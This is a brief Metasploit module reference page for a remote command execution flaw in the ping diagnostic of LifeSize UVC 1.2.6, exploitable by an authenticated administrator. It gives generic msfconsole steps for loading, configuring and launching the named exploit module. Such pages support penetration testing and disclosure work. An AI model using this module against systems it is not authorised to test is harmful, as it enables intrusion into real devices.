When authenticated as an administrator on LifeSize UVC 1.2.6, an attacker can abuse the ping diagnostic functionality to achieve remote command execution as the www-data user (or equivalent).
Unix
cmd
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/linux/http/lifesize_uvc_ping_rce
msf exploit(lifesize_uvc_ping_rce) > show targets
...targets...
msf exploit(lifesize_uvc_ping_rce) > set TARGET < target-id >
msf exploit(lifesize_uvc_ping_rce) > show options
...show and set options...
msf exploit(lifesize_uvc_ping_rce) > exploit
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